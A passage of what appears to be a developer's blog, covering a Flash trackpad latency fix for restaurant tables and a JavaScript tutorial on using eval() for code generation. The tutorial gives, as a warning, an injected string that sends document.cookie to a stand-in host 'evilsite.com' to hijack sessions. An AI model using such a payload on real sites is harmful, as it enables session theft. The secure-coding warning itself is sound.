COMPort.open(3);
COMPort.addEventListener("onCOMPortData", function(result:*):void {
    trace("data on COM3 port: " + result.data);
});

In other words, to make it very slightly easier to access COM ports, they’ve made it impossible to access more than one at a time. Thanks.

Fortunately, there is also a DLL class that allows you to instantiate arbitrary DLLs, call functions and return data. Huzzah! I wrote a DLL in C++ that replaced the network connection of the C# server with a Windows named pipe. Named pipes are regions of shared memory that allow two programs to communicate with each other almost instantaneously. Given the amount of time it took debugging the pointer operations in the C++ DLL, and its tendency to make the whole application crash for no apparent reason, I called the DLL DangerMouse and the client ActionScript code Penfold.

I compiled and ran the new system, and noted with delight that the latency had dropped to one frame, as any data packets arriving at the COM port were picked up immediately by the DLL / ActionScript combination. It was surprising therefore that the mouse pointer just as sluggish as before.

The problem was that while the latency had been reduced to one frame, the frame rate had dropped from twenty frames per second to a mere five; the whole system was running at a quarter speed, and was completely unusable. It seems that MDM Zinc has a computational overhead on each frame that was barely noticeable on my workstation, but caused a massive degradation on the cheap client PC.

Not to worry, I am Options Boy, and there are always more options. I tested a competitor to MDM Zinc called Northcode SWF Studio. This works the same way, but has far less overhead on each frame, giving us a more healthy fifteen frames per second. That’s a start, but smooth animation requires twenty.

I turned to profiling and optimising the UI, looking for any redundant computation to remove. After a week of swimming in the last year’s worth of code and unearthing many performance bottlenecks (including, most embarrassingly, the discovery that the slowest bit of code in the application was the performance monitoring subsystem) I emerged successful: twenty frames per second on the client PC, just like it had been on my workstation.

The fact that I had so obviously succeeded made it all the more depressing when I discovered once again that the pointer was still not usable.

The problem this time was then when I ran the UI on the development workstation I had been using a standard mouse for testing. When using a mouse you know how much you need to move the mouse by in order to move the pointer to a target, and if the pointer lags behind a bit it doesn’t matter: you move the mouse by the right amount, and the pointer catches up a fraction of a second later. A trackpad is different because you’re always looking for visual feedback from the pointer, and even the slightest latency causes you to overshoot the target. 20 frames per second was fast enough for a mouse, but not for a trackpad, and there was no way the UI would run any faster. Options Boy was bang out of options.

There is a nonzero probability that calling a badly debugged device driver DangerMouse was the funniest thing I will ever do. Therefore when I discovered that this whole approach had to be abandoned, I think the biggest disappointment was that I had to abandon those lovely component names.

Attempt 3: What Would Windows Do?

By this point I was mildly upset, since the only route out of this predicament that I could see was to recommend buying faster hardware, and when you start multiplying any extra cost by 31 tables, things start getting unpleasant really fast. While I was browsing the web for computers that are fast, small and cheap (it seems you can pick any two) and wondering how best to sell a five-figure increase in the project cost, I asked myself why more applications don’t suffer from this problem.

GUI applications do occasionally lock up for a few tenths of a second as they perform some calculation or wait for an IO operation to complete, but you hardly notice. If you click on a button of an application that is unresponsive, the click event is queued until the application finishes it’s calculation, after which it will respond. You may notice the delay but it’s unlikely to irritate you, because you didn’t have to wait in order to click the button, you only had to wait for the click to be processed. In other words, as long as the pointer doesn’t stop moving, the user feels in control.

Suddenly it made sense why the mouse pointer is always drawn by the operating system and not by GUI applications themselves. The operating system can dedicate a high-priority process just to drawing the pointer, so that even if every application slows down to a crawl, the user can still interact at a normal speed. By drawing the mouse pointer in Flash, I had made sure that any slight dip in frame rate had a direct effect on the responsiveness of the mouse pointer.

What we needed was an application running beside the main UI that could draw the mouse pointers on top of it, and we already had one: the C# mouse server. There is a function in the Windows API called UpdateLayeredWindow that programs like WinAmp use to draw non-rectangular interfaces. I used this (via C#’s p/invoke interface that lets you call functions in native DLLs) to overlay a transparent PNG of the mouse pointer that was, to the user, indistinguishable from the one drawn by Flash. Better still, by setting the process priority of the C# server to above normal, Windows will ensure that no matter how slow the Flash animation runs or how much CPU it is taking up, the C# server will always be able to update the pointer position as soon as a new mouse data packet arrives.

Thoroughly expecting it to not work for some reason, I compiled the project and installed it on the cheap client PC. It worked. I had finished.

Conclusion

So what did I learn from this project? I started my programming career making web animations, and so I approached this problem as an animation issue, when really it was an operating system issue. If I had initially phrased the problem as “what is the fastest way to draw a mouse pointer?” rather than “how do I increase the frame rate of my animation?” then I might have finished the project a month earlier.

But then again, if I’d finished the project a month earlier I wouldn’t have found out what the Windows API means by a null named blocking byte type pipe, so it wasn’t all bad.

Inamo is open now in Soho, London. If working on a system like this sounds fun, they’re always looking for smart ActionScript and Java developers. If you are interested, or know anyone who might be, contact me.

People dislike eval() because it's perceived to be slow and insecure. In this article I describe a way to use eval() to make your application faster.

Watch out! This is a black belt technique. Rasmus Lerdorf, the creator of PHP, once wrote that "if eval() is the answer, you're almost certainly asking the wrong question". Use it as a last resort when other optimisations have failed. Or to show off.

Burn the witch!

Dislike of eval() stems almost entirely from the commonly seen schoolboy error of using eval() whenever you need to access a variable whose name is stored in another variable:

// incorrect way of setting a member variable:
eval("myObject." + varName + " = 'new value'");
 
// the schoolboy should have done this:
myObject[varName] = 'new value';

Not only is the first version 20 times slower (tested on Firefox), but it is also an invitation to code execution attacks. Imagine what would happen if an attacker managed to set varName to this:

foo='new value';window.i = new Image(); i.src = 'http://evilsite.com/" + track.php?cookie=' + escape(document.cookie);//

Yup, that would set myObject.foo to 'new value', then create a new image, loaded from the attacker's site. The image is served from a script that records the cookie passed to it. If the script is clever, it will return a valid image so that no errors are produced, and nobody is the wiser. If your web application doesn't tie a session to a single IP address (like most PHP applications for example), the attacker can now extract your session ID from the cookie and log in as you. Ouch.

In fact, it's not just beginners that fall for this. This is a real example collected from an old tutorial on the respected (by me at least) site The Code Project:

// this function is supposed to take a string class name, create an
// instance of that class, and copy all of the members of the new
// instance into a dictionary. ${DEITY} knows why you'd want to do
// that, but that's not the point of this sample
 
// incorrect way of accessing members:
function CreateCollection(ClassName) {
    var obj=new Array();
    eval("var t=new "+ClassName+"()");
    for(_item in t) {
        eval("obj."+_item+"=t."+_item);
    }
    return obj;
}
 
// the above function should read:
function CreateCollection(ClassName) {
    var obj = {}, _item, t = new window[ClassName]();
    for(_item in t) {
        obj[_item] = t[_item];
    }
    return obj;
}

Unless the witch {is: "made", of: "JSON"}!

With the growing popularity of JSON, poor little eval has finally become respected. It might be slow compared to square[bracket] member access, but since JSON is actually JavaScript code, it's much faster to parse JSON using eval than it is to parse XML using the DOM.

But there is another way that eval() can speed up your application...

Metaprogramming: a contrived example

JavaScript is a dynamic language and some things are just slow, in particular, function calls and for(x in y) loops. "Slow" is relative here - we're talking microseconds, but these things can really add up if you're doing them inside a loop that runs a few thousand times. This is a pity, because functions and loops help you write generic code that can be reused in other situations.

The problem is made worse when you consider that JavaScript only has one thread, so if a script spends a second calculating something, the whole UI will freeze up for a second - no buttons can be clicked or keystrokes typed.

Let's say you want to create a kind of class called a Multiplier. This class is constructed with a data object and a coefficient number. The data object is stored in a public variable, and every time the multiply() method is called, every number anywhere in the data object is multiplied by the coefficient. For example:

var mul = new Multiplier({a:10, subObject:{b: 11, c:"foo"}}, 2);
// mul.data == {a:10, subObject:{b: 11, c:"foo"}}
mul.multiply();
// mul.data == {a:20, subObject:{b: 22, c:"foo"}}
mul.multiply();
// mul.data == {a:40, subObject:{b: 44, c:"foo"}}

As I said, it's a contrived example, but the pattern behind it is common: you have to do something to an object, but you don't know the structure of the object in advance.

It's easy to implement. Here's one possible obvious implementation:

// this Multiplier uses reflection - i.e. for (x in y) - to
// traverse the data object
function ReflectingMultiplier(data, coefficient) {
    this.data = data;
    this.coefficient = coefficient;
}
ReflectingMultiplier.prototype.multiply = function() {
    this._multiply(this.data);
}
ReflectingMultiplier.prototype._multiply = function(data) {
    var prop;
    for (prop in data) {
        switch (typeof data[prop]) {
            case "number":
                data[prop] *= this.coefficient;
                break;
            case "object":
                this._multiply(data[prop]);
                break;
        }
    }
}

The problem with the above is that it's slow. In order to carry out two multiplication operations, each of which are extremely quick, you use two function calls and two for loops.

Performance test

// ReflectingMultiplier test code:  calculate the average time taken
// to call multiply()
var TIMES = 100000;
var obj = {a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}};
var mul = new ReflectingMultiplier(obj, 2);
var start = new Date();
for(var i=0; i<TIMES; i++) {
    mul.multiply();
}
var end = new Date();
var time = end.getTime() - start.getTime();
alert((1000 * time / TIMES) + " microseconds average");

test ReflectingMultiplier

The problem here is that the multiply() method inspects the object every time it is called, even though the data object never changes. If you knew the structure of the data object in advance, you could write a much better implementation:

// if you know the coefficient and the structure of the data object,
// everything is much simpler
ReflectingMultiplier.prototype.multiply = function() {
    this.data.a *= 2;
    this.data.b.foo *= 2;
    this.data.b.bar *= 2;
    this.data.c.quux *= 2;
    this.data.c.blarty *= 2;
}

But you don't know the structure in advance, so you can't. So what's the solution... Write a new function for every structure of data object? Well you could, but that would be a pain to maintain.

Code generation to the rescue

The solution, as you have probably guessed from the title of the article, is to inspect the data object once and generate code for an appropriate multiply() method. You then use eval() to create the method.

Here's an implementation of the multiplier that does this:

// this Multiplier compiles a multiply() function in its constructor
function CompilingMultiplier(data, coefficient) {
    this.data = data;
    // compile multiply function
    var codeString = "this.multiply = function() {\n";
    var paths = this.getIntegerPaths(data);
    for (var i=0; i<paths.length; i++) {
        codeString += "    this.data." + paths[i]
                   + " *= " + coefficient + ";\n";
    }
    codeString += "}";
    eval(codeString);
    this.generatedCode = "Generated code:\n\n" + codeString;
}
// e.g. if data={a:10, subObject:{b: 11, c:"foo"},
// return ["a", "subObject.b"]
CompilingMultiplier.prototype.getIntegerPaths = function(data) {
    var paths = [];
    this._getIntegerPaths(data, paths, []);
    return paths;
}
CompilingMultiplier.prototype._getIntegerPaths
                = function(data, accumulator, stack) {
    var prop, stackPos = stack.length;
    for (prop in data) {
        // regex to protect from code execution attacks -
        // only allow valid variable names
        if (!prop.match(/^\w+$/)) {
            continue;
        }
        stack[stackPos] = prop;
        switch (typeof data[prop]) {
            case "number":
                accumulator.push(stack.join("."));
                break;
            case "object":
                this._getIntegerPaths(data[prop], accumulator, stack);
                break;
        }
    }
    stack.length = stack.length-1;
}
// It would actually be more appropriate to use
// "this.multiply = new Function(...)", which
// is a wrapper around eval for creating functions,
// but I'm trying to prove a point here :o)

Performance test

// CompilingMultiplier test code:  calculate the
// average time taken to call multiply()
var TIMES = 1000000;
var compileStart = new Date();
var data = {a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}};
var mul = new CompilingMultiplier(data, 2);
var compileEnd = new Date();
 
var runStart = new Date();
for(var i=0; i<TIMES; i++) {
    mul.multiply();
}
var runEnd = new Date();
document.getElementById('generatedCode').innerHTML
    = mul.generatedCode.replace(/\n/g, "<br>");
alert(
    (compileEnd.getTime() - compileStart.getTime())
    + " milliseconds compilation, "
    + (1000 * (runEnd.getTime() - runStart.getTime()) / TIMES)
    + " microseconds average run time");

test CompilingMultiplier     Remind me how long ReflectingMultiplier took

Your milage may vary, but I found the compiling version to be about 5 times faster than the reflecting version.

Further optimisation

The compiling stage takes time - 850 microseconds in my tests. If you're using multiply() less than 30 times for each compilation, it's actually faster to use the reflecting version. One good way to make sure you compile as little as possible is to cache the generated functions. If you happen to know that each instance of the classes you're using has the same internal structure, you can do this:

// Caching the generated function so that only one
// function is generated for any given class
function CompilingMultiplier(data, coefficient) {
    // every object has a hidden member variable 'constructor',
    // which is a reference to its constructor function that
    // doesn't show up in a for(x in y) loop.
    if (data.constructor.__multiplierCache) {
        this.multiplier = data.constructor.__multiplierCache;
    } else {
        ... compile this.multiply function ...
        data.constructor.__multiplierCache = this.multiply;
    }
}

In summary

Use this technique when...

• you have a loop that runs many times and/or a recursive algorithm, and most of the time is spent managing loop variables and function calls rather than doing useful work.
• you are inspecting a structure before using it, and you know that the structure isn't going to change.
• you can't see any easier ways of optimising the loop.

Good luck!